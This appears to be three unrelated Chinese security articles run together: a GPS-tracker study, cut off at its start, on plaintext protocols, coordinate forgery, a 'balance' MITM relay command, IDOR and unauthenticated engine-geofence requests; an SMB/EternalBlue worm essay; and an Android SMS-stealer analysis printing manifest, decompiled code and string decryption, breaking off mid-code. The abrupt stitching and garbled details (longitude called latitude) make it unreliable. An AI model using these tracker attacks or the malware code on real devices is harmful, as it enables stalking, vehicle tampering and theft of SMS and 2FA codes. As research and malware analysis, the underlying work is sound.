第一步是进行网络流量分析,了解GPS跟踪器与远程服务器之间交换的数据类型以及通信协议。在黑盒测试中,我们使用Yatebts的通用配置设置了一个基站2G/2.5G (GPRS)。值得注意的是,由于集成了基带,大多数跟踪器仅支持SIM卡。

3.jpg

捕获从GPS跟踪器发送到远程服务器的数据的设置情况

由于监管方面的限制,这套GPS跟踪器被放置在法拉第笼中。我们的每个GPS跟踪器都配有SIM卡和一个指定的唯一编号,如图3所示。一旦BTS开始运作,GPRS通信就被sgsntun捕获。通过在为 SGSN 创建的 tun 接口上使用 Wireshark 捕获流量,研究人员创建了名为 sgsntun 的虚拟网络接口,可以拦截部通信和外部互联网上服务器之间交换的消息。使用提供的用户手册,我们已发送制造商建议的用于参数化每个跟踪器的SMS命令。有趣的是,在这个配置阶段,我们已观察到了以下关键项:

1. 所有跟踪器都向特定的IP发送坐标,这可以确认远程服务器的位置;

2. 流量未加密且易于识别(特定域名,特定IP,特定端口),实现深度包检测工具对于这种类型的协议执行起来很简单;

3. 一个平台的密码以纯文本形式发送,其他平台使用跟踪器的序列号(可预测)作为令牌,没有身份验证机制,允许攻击者发送伪造信息;

4. 可以通过SMS编辑跟踪器配置并指定另一个管理服务器(“* reg my_ip”),允许攻击者通过Internet服务器执行简单的MITM中继流量(UDP或TCP,根据跟踪器而定),例如TCP的balance:

balance -b ::ffff:mon_ip 8841 203.130.62.29:8841

负载均衡建立在现有网络结构之上,它提供了一种廉价有效透明的方法扩展网络设备和服务器的带宽、增加吞吐量、加强网络数据处理能力、提高网络的灵活性和可用性。

负载均衡(Load Balance)其意思就是分摊到多个操作单元上进行执行,例如Web服务器、FTP服务器、企业关键应用服务器和其它关键任务服务器等,从而共同完成工作任务。

我们可以使用上述方法,定义一个主电话号码。在欺骗Caller-ID的测试环境中下,我们可以绕过此身份验证。此外,即使没有定义的主电话号码,也可以通过SMS发送命令以从GPS检索信息跟踪器,从而有可能检测出与该跟踪器相关的电话号码。

让使用U-BLOX GPS模块(该模块是UBLOX的NEO-6M GPS模组,这款GPS的使用人数较多)的跟踪器连接到56447 / tcp端口上的TCP服务。默认情况下,由于没有完整性或密码保护,客户端在TCP会话开始时,会发送用户的登录名、密码、纬度、经度和海拔高度:

cmd=full;[email protected];pwd=XXXXXX;lat=22.680193;lon=114. 146846;alt=0.0;pacc=100.00

服务器通过指定专有blob来响应:

u-blox a-gps server (c) 1997-2009 u-blox AG Content-Length: 2856 Content-Type: application/ubx .b..0......

然后,客户端会定期向第二个服务器(8011 / tcp)发送信息,表明其位置:

* HQ,17000XXXXX,V1,115112,A,2240.8116,N,11408.8108,E,000.0,000.00,100119,#FFFFFFFF
* HQ,17000XXXXX,NBR,094111,310,26,02,1,1000,10,23,100119,FFFFFFFF#
* HQ,17000XXXXX,LINK,115112,22,0,6,0,0,100119,FFFFFFFF#
* HQ,17000XXXXX,NBR,115117,310,26,02,1,1000,10,22,100119,FFFFFFFF#

可以根据序列号(17000XXXXX)检测不同的命令,2240.8116对应于纬度22.408116,11408.8108对应于纬度11.4088108。由于没有身份验证,这允许我们能够用自己的GPS客户端发送GPS坐标。如图4所示,我们的GPS跟踪器目前位于朝鲜平壤。

4.jpg

无需身份验证,我们就可以通过易受攻击的Web界面传输被篡改的GPS坐标

第二个(较便宜的)跟踪器由于没有身份验证,使服务器能够验证收集的数据的来源(通过SMS或2G传输的任何数据)。发送到管理平台的数据始终采用以下形式:

yy.I.[S/N][BLOB-ASCII].~[BLOB-ASCII]

有趣的一点是,它将在其无线电接口上接收到的所有SMS消息发送到中国,允许制造商确切的知道用户在做什么(网络捕获如图5所示,基于使用Wireshark进行的分析)。

5.jpg

发送给制造商的SMS消息

为了向我们的GPS追踪器发送短信“状态”,我们发现目标设备发送的TCP数据包被发送到203.130.62.29:8841/tcp,这是一个位于中国的IP地理位置,但实际上它位于阿联酋并由运营商Etisalat管理,其中包含“状态”消息,其中包含以下附加信息:

· 表示GPS跟踪器S/N的690217122612463

· +440025239表示短信发布者的号码

这适用于任何SMS消息,即使它不表示管理SMS。这个GPS跟踪器的一个有趣的用途是,通过改变管理服务器的IP地址,充当低成本(<15欧元)的短信中继系统。

一般来说,GPS跟踪器的网络安全性很低,因为它的流量是纯文本的,而且很容易被逆向工程处理。此外,能够猜测序列号的攻击者可以向GPS管理基础设施发送虚假信息。

固件提取和逆向工程

经过调查,大部分跟踪器主要是联发科(MediaTek)的旧芯片组(MT6261 ARM)和GPS芯片组(如UBLOX)。

调试接口可用于提取固件和默认配置项。请注意,这部分并不是一个真正的挑战,因为没有针对物理攻击的保护。

一旦连接到UART, mtd块就会被提取出来。通过执行分析,我们检测到了潜在的隐藏或未记录的命令。图6显示了一个测试设备的示例,对于这个设备来说,嵌入式系统是Nucleus。

RTOS和OS大小是嵌入式硬件的典型大小(4MB) ,对这个转储文件的逆向分析允许在不同的GPS跟踪器中显示后门短信代码。不幸的是,并非所有这些SMS命令似乎都起作用。这可能是由于对同一制造商的不同GPS跟踪器型号使用了相同的固件。

该分析没有揭示任何主要的隐藏特征,另外,还观察到它没有固件更新功能。

6.jpg

使用IDA对提取的固件进行逆向工程

移动应用的安全性

在制造商为iOS / Android智能手机提供的应用程序上,执行静态和动态逆向工程,允许用户访问全球定位系统(GPS)追踪器在世界地图上收集的数据,使用jadx实用程序执行静态分析的最差结果就是发现通过http进行关键数据的不安全传输。

7.jpg

HTTP流量分析

通过动态分析进一步检查确认智能手机应用程序和远程服务器之间的交换是通过http通过专有API系统http://m.999gps.net/OpenAPIV2.asmx完成的。我们可以看到与跟踪器对应的标识符82383的详细信息(如图7所示),也可以通过向地址添加WSDL来检索服务的完整描述来访问API的Web服务描述语言(WSDL)。最后,制造商提供了一个在线调试界面,如图8所示。

8.jpg

API的调试接口

通过分析流量,它似乎没有身份验证机制,而且还会重放先前由Wireshark解析的查询并更改标识符可以检索其他GPS跟踪器的坐标。此漏洞已经在2018年1月报道过,但制造商至今还未对其进行修复。

如何管理网站的安全性并预防高级攻击

当购买GPS跟踪器时,制造商会为其提供用于访问GPS跟踪器报告的网站标识符和密码。通过分析这些网站,我们可以发现了以下安全漏洞:

1.默认情况下,用户名和密码是GPS跟踪器序列号的最后7个字符。用户似乎不知道他们必须更改密码,也可能是他们懒得更改密码。因此,攻击者可能利用用户安全意识薄弱的特点而找到所有可用的帐户。

2.通过在跟踪器A的http请求中指定跟踪器B的ID,可以从GPS跟踪器A的帐户访问GPS跟踪器B(我们拥有)的坐标,这是由于不安全的直接对象引用漏洞可以在具有随机有效会话的限制内利用。下图描绘了我们提取测试跟踪器的未经认证的GPS坐标历史的过程:

9.jpg

提取未经过身份验证的跟踪器历史记录

3. 关于GPS跟踪器插入发动机和带有远程控制的stop/start命令之间的漏洞,我们可以在用于远程管理车辆发动机的跟踪器中添加一个地理围栏区域,如果车辆离开该区域或允许发动机停止,通过将未经身份验证的请求发送到针对测试跟踪器之一的管理接口,我们已经成功的实现了这一点,如图10所示。

10.jpg

远程跟踪器上添加的未经身份验证的地理围栏

4.该界面提供对通过相同的不安全直接对象参考漏洞访问的GPS跟踪器数据的完整历史记录的访问。

总结

本研究专注于商用GPS跟踪器的安全和隐私问题,我们已经观察到,可以轻松的利用各种攻击场景以非法方式获得GPS跟踪器的位置信息。

所有被测试的设备其身份验证要么不存在,要么很容易通过CallerID欺骗绕过。由于某些型号的先进功能,如汽车发动机的远程控制,这些配置接口使用户暴露在信息泄漏和关键攻击之下。此外,在API以及移动应用程序中,我们发现了许多相关的安全问题。

显然,这些漏洞都会存在于目前市场上的所有GPS跟踪器中。

如果你是一位长期奋战在网络安全行业的人士,你一定会注意到一种情况:有些攻击是呈周期性的,比如有的恶意软件会通过技术迭代的方式不断地出现,而有些攻击类型和攻击方法虽然已经过时了,但也会借助某些新的载体出现。

以网络共享为例,网络共享是一种允许用户通过网络共享文件和文件夹的技术。但不幸的是,网络共享一直是计算机蠕虫的热门攻击目标。比如2017年5月,在国内外网络中发现爆发基于windows网络共享协议进行攻击传播的蠕虫恶意代码,这是不法分子通过改造之前泄露的NSA黑客武器库中“永恒之蓝”攻击程序发起的网络攻击事件。但近年来,在使用电子邮件和受感染网站的大趋势下,基于SMB文件共享传播的蠕虫病毒的受欢迎程度有所下降。

还记得WannaCry吗?去年,它横扫全球150多个国家,让众多机构、企业、个人设备损失惨重。如今,WannaCry余威犹在,效仿者也层出不穷。

你可能会认为WannaCry已经在技术快速迭代的今天已经成为了古老历史,那就大错特错了。时至今日,WannaCry造成的直接冲击当然已经过去,但这并不意味着帮助它传播的机制可以被忽略,WannaCry已经证明了基于SMB文件共享传播是多么的脆弱。例如,我们的下一代IPS(入侵防御系统)设备使用的多个SMB入侵检测规则经常被更新。这也不足为奇,因为端口445(SMB使用的主要端口)通常是开放的。实际上,在Shodan(一个针对网络设备的搜索引擎)上,只要搜索端口445,就会返回显示超过200万台打开此端口的设备(链接需要登录)。

通过对2018年10月到11月,连续两个月安全监测,我们发现端口上的SMB端口活动出现了一个相当稳定的攻击模式。这表明,有攻击开始经常使用SMB作为攻击媒介。

1.png

当然,值得一提的是我们从2018年11月13日开始看到,基于SMB文件共享传播的蠕虫病毒事件开始飙升。与此同时,思科也发布了一份安全咨询,详细说明了可能通过SMB远程触发的漏洞。虽然我们无法确定这些是否是恶意攻击,但渗透测试人员通过测试还是新发现了漏洞,显而易见,基于SMB文件共享传播的蠕虫病毒又回归了。

SMB的起源历史

从用户的角度来看,网络共享就是以计算机等终端设备为载体,借助互联网这个面向公众的社会性组织,进行信息交流和资源共享,并允许他人去共享自己的劳动果实。你可以访问远程计算机或从远程计算机复制文件,就像它们位于本地计算机上一样。你甚至不需要服务器就可以在计算机之间进行通信,这都得益于这些设备可以直接连接。

2.png

从历史上看,SMB(全称是Server Message Block) 一开始的设计是在NetBIOS协议上运行的(而NetBIOS本身则运行在NetBEUI、IPX/SPX或TCP/IP协议上),Windows 2000引入了SMB直接在TCP/IP上运行的功能。它的流行在很大程度上要归功于微软从上世纪90年代初开始对该协议的采用、实现和投资。在Windows上设置和使用SMB非常简单,只需要很少的配置,就可以用于各种目的。不仅可以共享文件和文件夹,还可以共享打印机和其他设备。

毫无疑问,SMB协议有助于让许多内部网络的性能释放出来。但是,这种易用性却有其非常脆弱的一面:协议几乎不需要身份验证或加密。虽然它的安全性在后来的版本中确实有所改进,但由于向后兼容性,旧版本至今仍占据着大量市场。

由于该协议可以直接连接计算机,因此该协议会自然成为黑客寻求攻击目标的必备途径。而蠕虫病毒就是其中一种常见的攻击手段,蠕虫病毒是一种常见的计算机病毒。它是利用网络进行复制和传播,传染途径是通过网络和电子邮件。最初的蠕虫病毒定义是因为在DOS环境下,病毒发作时会在屏幕上出现一条类似虫子的东西,胡乱吞吃屏幕上的字母并将其改形。蠕虫病毒是自包含的程序或是一套程序,它能传播自身功能的拷贝或自身的某些部分到其他的计算机系统中(通常是经过网络连接)。尽管SMB并不总是攻击者的首选方法,但它却是最简单的方法。然而,随着SMB中一个关键漏洞的出现,情况发生了变化。

3.png

EternalBlue曝光

2017年,Shadow Brokers(影子经纪人)组织把FBI发现的EternalBlue漏洞(利用微软MS17-010漏洞所开发的网络武器。)公开了,后来就有了利用公布的这个漏洞四处横行的WannaCry。EternalBlue这个工具就是利用windows系统的Windows SMB远程执行代码漏洞向Microsoft服务器消息块 (SMBv1) 服务器发送经特殊设计的消息,进行远程代码执行。简而言之,此漏洞为恶意行为者在任何运行SMB1的计算机上安装恶意软件打开了大门。

漏洞的核心位于负责转换SMBv1消息中的FEA(SMBv1标准中定义的Full Extended Attribute)列表块的函数,更具体地说,是转换OS/2和SMBv1的NTV变体的部分。用例本身(在OS/2和NT格式之间进行转换)意味着这是在20世纪90年代写的代码,代码可能会做相当危险的操作,因为这样的转换需要实现消息的复制与重写。

2017年4月16日,CNCERT主办的CNVD发布《关于加强防范Windows操作系统和相关软件漏洞攻击风险的情况公告》,对影子纪经人“Shadow Brokers”披露的多款涉及Windows操作系统SMB服务的漏洞攻击工具情况进行了通报(相关工具列表如下),并对有可能产生的大规模攻击进行了预警。

加图.jpg

2017年5月12日,WannaCry像野火一样蔓延,瞬间破坏了大量的计算机。如果用户启用了SMB1,WannaCry能够在没有用户任何操作的情况下利用它,安装其勒索软件有效载荷,寻找更多启用了SMB1的计算机,并感染它们。

Nyetya

自2017年5月份经历勒索软件WannaCry的大规模爆发后,思科Talos团队又在6月27日发现了最新的勒索软件变种——Nyetya。 Nyetya是通过一个税务软件包更新系统进行部署的,超过80%的乌克兰公司使用该税务软件,安装了超过100万台设备。乌克兰网络警察确认乌克兰有超过2000家公司受到Nyetya影响。

Nyetya除了利用EternalBlue进行传播外,还利用了与SMB相关的另一个漏洞,名为EternalRomance,它对旧版本的Windows破坏了更强。

乍一看,WannaCry和Nyetya看起来很相似:它们都是通过SMB传播,然后对计算机进行加密。但WannaCry本身就是一个勒索软件,而Nyetya则是伪装成勒索软件,它其实是一款数据擦除的恶意软件。

这两个示例显示了使用易受攻击的网络协议是多么的危险,以及修补系统的重要性。然而,即使没有易于滥用的漏洞利用,SMB对攻击者也同样具有吸引力。

虽然SamSam,Bad Rabbit和Olympic Destroyer等威胁会使用不同的工具来访问网络,但一旦进入到计算机内部,它们就会利用SMB来遍历它们。还有一些情况是使用针对SMB共享的暴力攻击实现数据窃取,攻击者使用工具一次又一次地输入共享密码,以期能猜中。

如何预防SMB威胁

WannaCRY事件之后,安全行业普遍认为互联网安全进入了后“永恒之蓝”时代,但有关微软SMB1协议的安全漏洞还没有结束。2017年10月,包括CVE-2017-11781,CVE-2017-11782,CVE-2017-11815,CVE-2017-11780的多个可被远程利用的SMB1漏洞曝光。

那么如何防范与SMB相关的攻击呢?非常简单:就是停止使用它。事实上,截至2018年4月,该协议不再预装在Windows中。

与其通过SMB连接计算机来共享文件,不如使用专用的文件服务器或基于云的服务。配置网络打印机以使用其他协议。如果你无法在你的环境中关闭SMB,请至少确保禁用SMB1。关闭TCP端口445和139,以确保SMB通信仅限于内部网络。除此之外,端口不应该能够通过SMB相互通信。

窃取Android短信的恶意软件

本文将要分析的恶意Android应用程序,样本可以在Virusbay上找到,也可以使用这个本地镜像。黑客窃取短信可以有各种各样的原因,有的攻击者会探知某个用户的隐私信息(定位信息、上网爱好甚至健康数据),从而找到攻击或诈骗的突破口;而有的攻击者干脆直接从受害者的手机上截获双因素身份验证(2FA)令牌,以假冒用户访问许多隐私帐户。

请注意,在当前上下文中给出的代码摘录的名称是可读的。如果可以直接从变量的类型或上下文派生变量的名称,则要对其进行重命名。

下面是本文要使用的样本的信息:

MD5: a1b5c184d447eaac1ed47bc5a0db4725

SHA-1: 98bb4315a5ee3f92a3275f08e45f7e35d9995cd2

SHA-256: c385020ef9e6e04ad08757324f78963378675a1bdb57a4de0fd525cffe7f2139

File type: application/java-archive

File size: 535.6 KB

Detection rate: 32 / 61

分析工具

用于将APK转换为Android Studio项目的常用工具是AndroidProjectCreator。在分析Android应用程序时,需要对或混淆的代码进行重构,使其变得可读。 AndroidProjectCreator结合了已知的开源工具(JD-CMD,JD-GUI的一部分,Fernflower,JAD-X,Dex2Jar和APKTool)以及Android Studio IDE的强大功能,使分析师能够利用这些优势。不过,AndroidProjectCreator工具并不总是能够将SMALI字节码转换为Java。因此,使用不同的反编译工具多次转换APK是一个不错的选择。

在开始分析之前检查所有类,因为变量的名称仍未改变。如果已经重构了一半的样本,那么由于新添加的代码由于没有嵌入到项目中,可能已经在之前的阶段中被修改过了。比如,如果一个类中的单个函数没有被正确反编译,而其余函数就会被重构。

private Context context; /**
* This is the renamed function, which was previously named "q".
*/public Context getContext() {
    return context;} /**
* This is the newly added function, which relies on the original instead of the refactored name.
*/public String x() {
    return q.LAUNCHER_APPS_SERVICE;}

此外,APKTool还被单独用于获取单个类的SMALI字节码,使用Android Studio对Java代码进行了分析和重构。

代码分析方法

在开始分析之前,关于样本内部的工作原理,研究人员也是知之甚少。为了避免在与研究目标无关的代码上浪费时间,必须尽可能地做出最好的提前预判。 AndroidManifest.xml文件是整个应用程序的信息描述文件,定义了应用程序中包含的Activity,Service,Content provider和BroadcastReceiver组件信息。每个应用程序在根目录下必须包含一个AndroidManifest.xml文件,且文件名不能修改。也就是说,AndroidManifest.xml提供有关所请求的权限、服务、意图接收工具和广播接收工具的信息。

关于代码,Main Activity中的onCreate函数是应用程序的运行起点。因此,从onCreate开始调查是有道理的。

之后,可以深入研究被调用的方法,这些方法很可能存在于多个类中。混淆的代码可能无法揭示代码的作用,这就是为什么需要深入挖掘的原因。深入挖掘后,我们才能了解每个函数的内容,才可以向上重构代码。

请注意,此方法的分析速度是程指数级增长的。在样本所知甚少的情况下,分析每个函数都需要花费很长一段时间。由于类在许多不同的位置被重用,因此第一次分析很慢。根据我自己的经验,两个完整工作日的分析通常足以重构整个样本。

反编译APK文件

首先,分析Manifest文件。之后,将分析和重构Java代码。请注意,此分析中不包含错误的操作,以避免混淆。另外,名为android的包中包含应用程序中使用的默认Android类。

Manifest文件

Manifest文件揭示了很多关于应用程序的信息,这就是它首先被分析的原因,下面就是完整的Manifest文件。

<?xml version="1.0" encoding="utf-8"?><manifest package="org.starsizew" platformBuildVersionCode="19" platformBuildVersionName="4.4.2-1456859"  xmlns:android="http://schemas.android.com/apk/res/android">     <uses-sdk android:minSdkVersion="9" />     <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.WRITE_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.GET_TASKS" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.READ_LOGS" />
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:allowBackup="true">
        <activity android:label="@string/app_name" android:name="org.starsizew.MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <service android:name="org.starsizew.MainService" android:enabled="true" android:exported="true" />
        <service android:name="org.starsizew.Ad" android:enabled="true" android:exported="true" />
        <receiver android:name="org.starsizew.MainServiceBroadcastReceiverWrapper" android:enabled="true" android:exported="false">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.SCREEN_ON" />
                <category android:name="android.intent.category.HOME" />
            </intent-filter>
        </receiver>
        <receiver android:name="org.starsizew.DeviceAdminReceiverWrapper" android:permission="android.permission.BIND_DEVICE_ADMIN">
            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
            </intent-filter>
            <meta-data android:name="stopOnDeviceLock" android:value="false" />
            <meta-data android:name="android.app.device_admin" android:resource="@xml/policies" />
            <meta-data android:name="preventRestart" android:value="true" />
            <intent-filter>
                <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" />
                <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLED" />
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
            </intent-filter>
        </receiver>
        <receiver android:name="org.starsizew.Ma">
            <intent-filter android:priority="100">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
    </application></manifest>

在Manifest文件中可以看到,请求的权限是:

· CALL_PHONE

· SEND_SMS

· WRITE_SMS

· READ_SMS

· GET_TASKS

· ACCESS_NETWORK_STATE

· READ_PHONE_STATE

· RECEIVE_SMS

· WRITE_EXTERNAL_STORAGE

· INTERNET

· RECEIVE_BOOT_COMPLETED

· READ_LOGS

· READ_CONTACTS

有了这些信息,恶意软件可以有针对性的拨打手机号码,向特定手机号码发送短信。此外,它还可以接收和阅读短信。网络状态检查用于确定手机上是否有互联网,这是因为在线服务交互则需要用到互联网权限。

GET_TASKS和READ_LOGS都需要使用到升级权限,这意味着应用程序必须是固件的一部分,或者应该安装在具有特别权限的分区上。读取设备上其他应用程序的日志需要READ_LOGS权限,而获取最近执行的任务列表需要GET_TASKS权限。

应用程序的主要活动也在Manifest文件中定义,如下所示。

<activity android:label="@string/app_name" android:name="org.starsizew.MainActivity">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter></activity>

android:name字段包含类的路径,其中一个点代表一个新包。android:label=”@string/app_name”的值自动显示在Android Studio中,但也可以在res/values/strings.xml file文件中找到,如下所示。

<string name="app_name">Spy Mouse</string>

每当设备启动、屏幕打开或按下home按钮时,都会使用一个名为Ac的类。

<receiver android:name="org.starsizew.Ac" android:enabled="true" android:exported="false">
    <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED" />
        <action android:name="android.intent.action.SCREEN_ON" />
        <category android:name="android.intent.category.HOME" />
    </intent-filter></receiver>

使用设备管理权限的类名为Aa,下面的摘录也是从Manifest文件中提取的。

<receiver android:name="org.starsizew.Aa" android:permission="android.permission.BIND_DEVICE_ADMIN">
    <intent-filter>
        <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
    </intent-filter>
    <meta-data android:name="stopOnDeviceLock" android:value="false" />
    <meta-data android:name="android.app.device_admin" android:resource="@xml/policies" />
    <meta-data android:name="preventRestart" android:value="true" />
    <intent-filter>
        <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" />
        <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLED" />
        <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
    </intent-filter></receiver>

Manifest文件的最后一部分用于捕获有关新接收的短信,而名为Ma的类则负责管理消息内容,而给定的优先级允许此应用程序比其他应用程序更早的处理新接收的短信,除非另一个应用程序的优先级更高。

<receiver android:name="org.starsizew.Ma">
    <intent-filter android:priority="100">
        <action android:name="android.provider.Telephony.SMS_RECEIVED" />
    </intent-filter></receiver>

源代码分析

分析源代码时,除了需要分析人员的直觉之外,而且还要根据事实进行进一步验证。

MainActivity

MainActivity中的onCreate函数启动服务,设置重复警报并检查是否授予了管理权限。根据是否授予管理权限,执行函数q。反编译的源代码如下:

protected void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    setContentView(2130903040);
    Context applicationContext = getApplicationContext();
    applicationContext.startService(new Intent(applicationContext, Tb.class));
    ((AlarmManager) getSystemService(o.W)).setRepeating(0, System.currentTimeMillis(), 9000, PendingIntent.getBroadcast(this, o.z, new Intent(this, Ac.class), o.z));
    if (!((DevicePolicyManager) getSystemService(o.n)).isAdminActive(new ComponentName(this, Aa.class))) {
        q();
    }}

函数q

函数q启动了向管理员组添加新设备管理员的功能:

private void q() {
    Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
    intent.putExtra("android.app.extra.DEVICE_ADMIN"), new ComponentName(this, Aa.class));
    startActivityForResult(intent, 100);}

Aa类如下所示:

public class Aa extends DeviceAdminReceiver {
    public void onDisabled(Context context, Intent intent) {
        super.onDisabled(context, intent);
    }     public void onEnabled(Context context, Intent intent) {
        super.onEnabled(context, intent);
    }     public void onPasswordChanged(Context context, Intent intent) {
        super.onPasswordChanged(context, intent);
    }}

此类是DeviceAdminReceiver的包装工具,这就是它可以重构为DeviceAdminReceiverWrapper的原因。

字符串解密

在MainActivity类中,有一个名为q的全局变量,它是加密的。解密它可以使用同样名为q的函数来完成,这两个函数都需要不同的参数。代码如下:

private static final String[] q = new String[]{q(q("-]aK\u001f/Yx\n\u0010blU!!")), q(q("-Cu\u0017\u0011%I?\u0004\u000e<\u0003t\u001d\n>L?"))}; private static String q(char[] cArr) {
    int length = cArr.length;
    for (int i = 0; length > i; i++) {
        int i2;
        char c = cArr[i];
        switch (i % 5) {
            case 0:
                i2 = 76;
                break;
            case 1:
                i2 = 45;
                break;
            case 2:
                i2 = 17;
                break;
            case 3:
                i2 = 101;
                break;
            default:
                i2 = TransportMediator.KEYCODE_MEDIA_PLAY;
                break;
        }
        cArr[i] = (char) ((char) (i2 ^ c));
    }
    return new String(cArr).intern();} private static char[] q(String str) {
    char[] toCharArray = str.toCharArray();
    if (toCharArray.length < 2) {
        toCharArray[0] = (char) ((char) (toCharArray[0] ^ TransportMediator.KEYCODE_MEDIA_PLAY));
    }
    return toCharArray;}

请注意,TransportMediator.KEYCODE_MEDIA_PLAY的值等于126。在Android Studio中,可以使用CTRL并单击KEYCODE_MEDIA_PLAY枚举值来检查此值。

可以通过初始化变量并打印值来解密字符串数组,可以编译和执行Java代码的IDE来执行所需的操作。下面给出了字符串数组的解密值,从0开始,每一行都是数组中的不同索引。

app.action.ADD_
android.app.extra.

寻找参照(REFERENCES)

在onCreate函数中,某些函数需要字符串作为参数。 DevicePolicyManager的函数getSystemService需要一个类似于所请求服务名称的字符串。

protected void onCreate(Bundle bundle){
    //[omitted]
    applicationContext.startService(new Intent(applicationContext, Tb.class));
    ((AlarmManager) getSystemService(o.W)).setRepeating(0, System.currentTimeMillis(), 9000, PendingIntent.getBroadcast(this, o.z, new Intent(this, Ac.class), o.z));
    if (!((DevicePolicyManager) getSystemService(o.n)).isAdminActive(new ComponentName(this, Aa.class))) {
        q();
    }}

在检查名为o的类时,有许多公共字符串被加密。完整的类如下所示:

package org.starsizew; public final class o {
    public static String E = new StringBuilder(q(q("}5\u0005"))).append(f).append(q(q("C0"))).toString();
    public static String Q = (b + y + o + y + q(q("C1\u00031hL")) + y + s);
    public static String R = q(q("r\u001d$\f"));
    public static String T = q(q("V;\u001a="));
    public static String W = q(q("C>\u0016*j"));
    public static int Y;
    public static String a = (b + q(q("\f3\u0007()G*\u0003*f")));
    public static String b = q(q("C<\u0013*hK6"));
    public static String c = q(q("R:\u00186b"));
    public static String d = q(q("V7\u001b"));
    public static String e = new StringBuilder(q(q("K<"))).append(f).append(q(q("Q&"))).toString();
    public static String f = "";
    public static String g = q(q("\u001bbG"));
    public static String h = q(q("Q?\u0004"));
    public static String i = (b + y + o + y + q(q("C1\u00031hL|\u0002+tF|\u00186")));
    public static String j = new StringBuilder(String.valueOf(h.toUpperCase())).append(q(q("}\u00002\u001bBk\u00042\u001c"))).toString();
    public static String k = q(q("C0\u0018*s"));
    public static String l = q(q("` \u00189cA3\u0004,"));
    public static String m = q(q("e\u0017#"));
    public static String n = (p + q(q("}\"\u00184nA+")));
    public static String o = q(q("K<\u0003=iV"));
    public static String p = q(q("F7\u00011dG"));
    public static String q = (b + q(q("\f\"\u00057qK6\u0012*)v7\u001b=wJ=\u0019!)")) + j);
    public static String r = new StringBuilder(q(q("M<"))).append(f).append(q(q("G\r"))).toString();
    public static String s = q(q("a\u0013;\u0014"));
    public static String t = new StringBuilder(q(q("M\"\u0012"))).append(f).append(q(q("P3"))).append(f).append(q(q("V=\u0005"))).toString();
    public static String u = (T + q(q("}\"\u0012*")) + f + q(q("G:\u0001")));
    public static String v = new StringBuilder(String.valueOf(p.toUpperCase())).append(q(q("}\u00133\u0015Nl"))).toString();
    public static String w = q(q("v7\u000f,JG!\u00049`G"));
    public static int x = 1;
    public static String y = ".";
    public static int z = 0;     private static String q(char[] cArr) {
        int length = cArr.length;
        for (int i = 0; length > i; i++) {
            int i2;
            char c = cArr[i];
            switch (i % 5) {
                case 0:
                    i2 = 34;
                    break;
                case 1:
                    i2 = 82;
                    break;
                case 2:
                    i2 = 119;
                    break;
                case 3:
                    i2 = 88;
                    break;
                default:
                    i2 = 7;
                    break;
            }
            cArr[i] = (char) ((char) (i2 ^ c));
        }
        return new String(cArr).intern();
    }     private static char[] q(String str) {
        char[] toCharArray = str.toCharArray();
        if (toCharArray.length < 2) {
            toCharArray[0] = (char) ((char) (toCharArray[0] ^ 7));
        }
        return toCharArray;
    }}

在使用两个给定的解密函数(均为q)解密所有字符串并根据输出重构名称之后,变量更有意义,如下所示。

package org.starsizew; public final class StringDatabase {
    public static String _grab = new StringBuilder(decryptCharArray(decryptString("}5\u0005"))).append(emptyString).append(decryptCharArray(decryptString("C0"))).toString();
    public static String AndroidIntentActionCall = (android + dot + intent + dot + decryptCharArray(decryptString("C1\u00031hL")) + dot + CALL);
    public static String POST = decryptCharArray(decryptString("r\u001d$\f"));
    public static String time = decryptCharArray(decryptString("V;\u001a="));
    public static String alarm = decryptCharArray(decryptString("C>\u0016*j"));
    public static int integerZero;
    public static String AndroidAppExtra = (android + decryptCharArray(decryptString("\f3\u0007()G*\u0003*f")));
    public static String android = decryptCharArray(decryptString("C<\u0013*hK6"));
    public static String phone = decryptCharArray(decryptString("R:\u00186b"));
    public static String tel = decryptCharArray(decryptString("V7\u001b"));
    public static String inst = new StringBuilder(decryptCharArray(decryptString("K<"))).append(emptyString).append(decryptCharArray(decryptString("Q&"))).toString();
    public static String emptyString = "";
    public static String integer900 = decryptCharArray(decryptString("\u001bbG"));
    public static String sms = decryptCharArray(decryptString("Q?\u0004"));
    public static String AndroidIntentActionUssdOn = (android + dot + intent + dot + decryptCharArray(decryptString("C1\u00031hL|\u0002+tF|\u00186")));
    public static String SMS_RECEIVED = new StringBuilder(String.valueOf(sms.toUpperCase())).append(decryptCharArray(decryptString("}\u00002\u001bBk\u00042\u001c"))).toString();
    public static String abort = decryptCharArray(decryptString("C0\u0018*s"));
    public static String Broadcast = decryptCharArray(decryptString("` \u00189cA3\u0004,"));
    public static String GET = decryptCharArray(decryptString("e\u0017#"));
    public static String device_policy = (device + decryptCharArray(decryptString("}\"\u00184nA+")));
